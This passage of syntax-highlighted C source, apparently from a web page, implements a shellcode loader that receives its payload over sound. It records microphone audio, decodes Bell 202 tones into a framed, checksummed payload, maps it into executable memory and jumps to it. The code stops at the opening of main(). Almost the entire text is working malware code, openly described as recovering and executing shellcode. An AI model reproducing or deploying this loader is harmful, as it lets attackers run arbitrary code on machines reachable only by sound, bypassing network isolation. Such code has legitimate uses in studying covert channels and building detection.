#include</span> <span class="cpf">&lt;math.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;alsa/asoundlib.h&gt;</span><span class="cp">
</span>
<span class="c1">// Bell 202 and DSP Constants</span>
<span class="cp">#define PI          3.14159265358979323846
#define SAMPLE_RATE 48000
#define BAUD_RATE   300
#define FREQ_MARK   2200          // bit 1 - high tone
#define FREQ_SPACE  1200          // bit 0 - low tone
#define SPB         (SAMPLE_RATE / BAUD_RATE)   // 160 samples per bit
</span>
<span class="c1">// brute-force params</span>
<span class="cp">#define CAPTURE_SECS  6                // record this many seconds of audio
#define N_OFFSETS    16                // alignment tries per bit period   
#define OFFSET_STEP  (SPB / N_OFFSETS) // 10 samples per step
</span>
<span class="c1">// frame preamble for synchronization</span>
<span class="k">static</span> <span class="k">const</span> <span class="kt">uint8_t</span> <span class="n">PREAMBLE</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">};</span>
<span class="cp">#define PREAMBLE_LEN  5
#define PREAMBLE_BITS (PREAMBLE_LEN * 8)        // 40 bits
</span>
<span class="c1">// Goertzel algorithm: detects the magnitude of a specific frequency in a block of samples</span>
<span class="k">static</span> <span class="kt">double</span> <span class="n">goertzel</span><span class="p">(</span><span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">,</span> <span class="kt">double</span> <span class="n">freq</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">double</span> <span class="n">omega</span> <span class="o">=</span> <span class="mf">2.0</span> <span class="o">*</span> <span class="n">PI</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">/</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">SAMPLE_RATE</span><span class="p">;</span>
  <span class="kt">double</span> <span class="n">coeff</span> <span class="o">=</span> <span class="mf">2.0</span> <span class="o">*</span> <span class="n">cos</span><span class="p">(</span><span class="n">omega</span><span class="p">);</span>
  <span class="kt">double</span> <span class="n">q1</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">,</span> <span class="n">q2</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">,</span> <span class="n">q0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">q0</span> <span class="o">=</span> <span class="n">coeff</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">-</span> <span class="n">q2</span> <span class="o">+</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">/</span> <span class="mf">32768.0</span><span class="p">;</span>
    <span class="n">q2</span> <span class="o">=</span> <span class="n">q1</span><span class="p">;</span>
    <span class="n">q1</span> <span class="o">=</span> <span class="n">q0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">q1</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">+</span> <span class="n">q2</span> <span class="o">*</span> <span class="n">q2</span> <span class="o">-</span> <span class="n">coeff</span> <span class="o">*</span> <span class="n">q1</span> <span class="o">*</span> <span class="n">q2</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// ALSA: open and configure capture device</span>
<span class="k">static</span> <span class="n">snd_pcm_t</span> <span class="o">*</span><span class="n">open_capture</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">device</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">snd_pcm_t</span> <span class="o">*</span><span class="n">h</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">rc</span> <span class="o">=</span> <span class="n">snd_pcm_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">h</span><span class="p">,</span> <span class="n">device</span><span class="p">,</span> <span class="n">SND_PCM_STREAM_CAPTURE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">rc</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"[=^..^=] cannot open '%s': %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">device</span><span class="p">,</span> <span class="n">snd_strerror</span><span class="p">(</span><span class="n">rc</span><span class="p">));</span>
    <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">rc</span> <span class="o">=</span> <span class="n">snd_pcm_set_params</span><span class="p">(</span><span class="n">h</span><span class="p">,</span>
    <span class="n">SND_PCM_FORMAT_S16_LE</span><span class="p">,</span>
    <span class="n">SND_PCM_ACCESS_RW_INTERLEAVED</span><span class="p">,</span>
    <span class="mi">1</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">100000</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">rc</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"[=^..^=] set_params failed: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">snd_strerror</span><span class="p">(</span><span class="n">rc</span><span class="p">));</span>
    <span class="n">snd_pcm_close</span><span class="p">(</span><span class="n">h</span><span class="p">);</span>
    <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">h</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// capture CAPTURE_SECS seconds into a heap buffer</span>
<span class="k">static</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">capture_audio</span><span class="p">(</span><span class="n">snd_pcm_t</span> <span class="o">*</span><span class="n">h</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">out_samples</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">total</span> <span class="o">=</span> <span class="n">CAPTURE_SECS</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">;</span>
  <span class="kt">int16_t</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">((</span><span class="kt">size_t</span><span class="p">)</span><span class="n">total</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int16_t</span><span class="p">));</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span> <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"[=^..^=] OOM</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span>

  <span class="kt">int</span> <span class="n">got</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">prev_sec</span> <span class="o">=</span> <span class="n">CAPTURE_SECS</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">got</span> <span class="o">&lt;</span> <span class="n">total</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">want</span> <span class="o">=</span> <span class="n">total</span> <span class="o">-</span> <span class="n">got</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">want</span> <span class="o">&gt;</span> <span class="mi">4800</span><span class="p">)</span> <span class="n">want</span> <span class="o">=</span> <span class="mi">4800</span><span class="p">;</span>   <span class="cm">/* 0.1 s chunks */</span>
    <span class="kt">int</span> <span class="n">rc</span> <span class="o">=</span> <span class="n">snd_pcm_readi</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">buf</span> <span class="o">+</span> <span class="n">got</span><span class="p">,</span> <span class="p">(</span><span class="n">snd_pcm_uframes_t</span><span class="p">)</span><span class="n">want</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">rc</span> <span class="o">==</span> <span class="o">-</span><span class="n">EPIPE</span><span class="p">)</span> <span class="p">{</span> <span class="n">snd_pcm_prepare</span><span class="p">(</span><span class="n">h</span><span class="p">);</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">rc</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">[=^..^=] read error: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">snd_strerror</span><span class="p">(</span><span class="n">rc</span><span class="p">));</span>
      <span class="n">free</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
      <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">got</span> <span class="o">+=</span> <span class="n">rc</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">secs_left</span> <span class="o">=</span> <span class="n">CAPTURE_SECS</span> <span class="o">-</span> <span class="n">got</span> <span class="o">/</span> <span class="n">SAMPLE_RATE</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">secs_left</span> <span class="o">!=</span> <span class="n">prev_sec</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">prev_sec</span> <span class="o">=</span> <span class="n">secs_left</span><span class="p">;</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\r</span><span class="s">[=^..^=] listening... %2d s remaining   "</span><span class="p">,</span> <span class="n">secs_left</span><span class="p">);</span>
      <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\r</span><span class="s">[=^..^=] capture complete - %d samples (%d s)          </span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span>
         <span class="n">got</span><span class="p">,</span> <span class="n">CAPTURE_SECS</span><span class="p">);</span>
  <span class="o">*</span><span class="n">out_samples</span> <span class="o">=</span> <span class="n">got</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">buf</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// bit extraction: 8 bits LSB-first from a flat bit array</span>
<span class="k">static</span> <span class="kt">uint8_t</span> <span class="n">get_byte</span><span class="p">(</span><span class="k">const</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">bits</span><span class="p">,</span> <span class="kt">int</span> <span class="n">bit_offset</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">uint8_t</span> <span class="n">res</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="n">bit_offset</span> <span class="o">+</span> <span class="n">i</span><span class="p">])</span> <span class="n">res</span> <span class="o">|=</span> <span class="p">(</span><span class="kt">uint8_t</span><span class="p">)(</span><span class="mi">1u</span> <span class="o">&lt;&lt;</span> <span class="n">i</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// demodulate at a given sample offset -&gt; allocated bit array</span>
<span class="k">static</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">demodulate</span><span class="p">(</span><span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">audio</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n_samples</span><span class="p">,</span>
                            <span class="kt">int</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">out_bits</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">usable</span> <span class="o">=</span> <span class="n">n_samples</span> <span class="o">-</span> <span class="n">offset</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">n_bits</span>  <span class="o">=</span> <span class="n">usable</span> <span class="o">/</span> <span class="n">SPB</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">n_bits</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">out_bits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span>

  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">bits</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">((</span><span class="kt">size_t</span><span class="p">)</span><span class="n">n_bits</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">bits</span><span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">out_bits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span>

  <span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">audio</span> <span class="o">+</span> <span class="n">offset</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n_bits</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">double</span> <span class="n">pm</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">p</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_MARK</span><span class="p">);</span>
    <span class="kt">double</span> <span class="n">ps</span> <span class="o">=</span> <span class="n">goertzel</span><span class="p">(</span><span class="n">p</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">SPB</span><span class="p">,</span> <span class="n">FREQ_SPACE</span><span class="p">);</span>
    <span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>   <span class="o">=</span> <span class="p">(</span><span class="n">pm</span> <span class="o">&gt;</span> <span class="n">ps</span><span class="p">)</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="o">*</span><span class="n">out_bits</span> <span class="o">=</span> <span class="n">n_bits</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">bits</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// ASCII progress bar</span>
<span class="k">static</span> <span class="kt">void</span> <span class="n">progress</span><span class="p">(</span><span class="kt">int</span> <span class="n">done</span><span class="p">,</span> <span class="kt">int</span> <span class="n">total</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">w</span> <span class="o">=</span> <span class="mi">40</span><span class="p">,</span> <span class="n">filled</span> <span class="o">=</span> <span class="n">total</span> <span class="o">?</span> <span class="n">done</span> <span class="o">*</span> <span class="n">w</span> <span class="o">/</span> <span class="n">total</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\r</span><span class="s">[=^..^=] receiving  ["</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">w</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="n">putchar</span><span class="p">(</span><span class="n">i</span> <span class="o">&lt;</span> <span class="n">filled</span> <span class="o">?</span> <span class="sc">'#'</span> <span class="o">:</span> <span class="sc">'.'</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"]  %d / %d bytes"</span><span class="p">,</span> <span class="n">done</span><span class="p">,</span> <span class="n">total</span><span class="p">);</span>
  <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// try one sample offset; returns 1 and executes on success</span>
<span class="k">static</span> <span class="kt">int</span> <span class="n">try_offset</span><span class="p">(</span><span class="k">const</span> <span class="kt">int16_t</span> <span class="o">*</span><span class="n">audio</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n_samples</span><span class="p">,</span> <span class="kt">int</span> <span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">n_bits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">bits</span> <span class="o">=</span> <span class="n">demodulate</span><span class="p">(</span><span class="n">audio</span><span class="p">,</span> <span class="n">n_samples</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_bits</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">bits</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

  <span class="c1">// scan for preamble; need at least preamble + 2B length + 1B checksum</span>
  <span class="kt">int</span> <span class="n">limit</span>    <span class="o">=</span> <span class="n">n_bits</span> <span class="o">-</span> <span class="n">PREAMBLE_BITS</span> <span class="o">-</span> <span class="mi">24</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">pre_bit</span>  <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">limit</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">b</span> <span class="o">&lt;</span> <span class="n">PREAMBLE_LEN</span> <span class="o">&amp;&amp;</span> <span class="n">match</span><span class="p">;</span> <span class="n">b</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="n">b</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">!=</span> <span class="n">PREAMBLE</span><span class="p">[</span><span class="n">b</span><span class="p">])</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">match</span><span class="p">)</span> <span class="p">{</span> <span class="n">pre_bit</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span>
  <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">pre_bit</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %3d: preamble not found</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">bits</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %3d: preamble at bit %d - decoding...</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
         <span class="n">offset</span><span class="p">,</span> <span class="n">pre_bit</span><span class="p">);</span>

  <span class="kt">int</span> <span class="n">cursor</span> <span class="o">=</span> <span class="n">pre_bit</span> <span class="o">+</span> <span class="n">PREAMBLE_BITS</span><span class="p">;</span>

  <span class="c1">// 2-byte big-endian length</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">cursor</span> <span class="o">+</span> <span class="mi">16</span> <span class="o">&gt;</span> <span class="n">n_bits</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %3d: truncated after preamble</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">bits</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="kt">uint8_t</span> <span class="n">l1</span> <span class="o">=</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">);</span> <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">l2</span> <span class="o">=</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">);</span> <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">pay_len</span> <span class="o">=</span> <span class="p">((</span><span class="kt">uint16_t</span><span class="p">)</span><span class="n">l1</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="n">l2</span><span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">pay_len</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">cursor</span> <span class="o">+</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">pay_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">&gt;</span> <span class="n">n_bits</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %3d: length %u implausible or out of range</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
           <span class="n">offset</span><span class="p">,</span> <span class="n">pay_len</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">bits</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">pay_len</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">payload</span><span class="p">)</span> <span class="p">{</span> <span class="n">free</span><span class="p">(</span><span class="n">bits</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>

  <span class="kt">uint8_t</span> <span class="n">cksum_calc</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">pay_len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">payload</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>  <span class="o">=</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">);</span>
    <span class="n">cksum_calc</span> <span class="o">^=</span> <span class="n">payload</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
    <span class="n">cursor</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">progress</span><span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">pay_len</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="kt">uint8_t</span> <span class="n">cksum_rx</span> <span class="o">=</span> <span class="n">get_byte</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">cursor</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">bits</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">cksum_calc</span> <span class="o">!=</span> <span class="n">cksum_rx</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %3d: checksum FAIL  calc=0x%02x  rx=0x%02x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
           <span class="n">offset</span><span class="p">,</span> <span class="n">cksum_calc</span><span class="p">,</span> <span class="n">cksum_rx</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] offset %3d: checksum OK (0x%02x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">cksum_rx</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] payload length : %u bytes</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pay_len</span><span class="p">);</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] shellcode recovered (%u bytes):</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pay_len</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">pay_len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%02x "</span><span class="p">,</span> <span class="n">payload</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">pay_len</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="kt">void</span> <span class="o">*</span><span class="n">mem</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">pay_len</span><span class="p">,</span>
                   <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span> <span class="o">|</span> <span class="n">PROT_EXEC</span><span class="p">,</span>
                   <span class="n">MAP_ANON</span> <span class="o">|</span> <span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">mem</span> <span class="o">==</span> <span class="n">MAP_FAILED</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">perror</span><span class="p">(</span><span class="s">"[=^..^=] mmap"</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">memcpy</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">pay_len</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[=^..^=] jumping to shellcode...  =^..^=</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">((</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">mem</span><span class="p">)();</span>

  <span class="n">munmap</span><span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">pay_len</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main</span>
<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
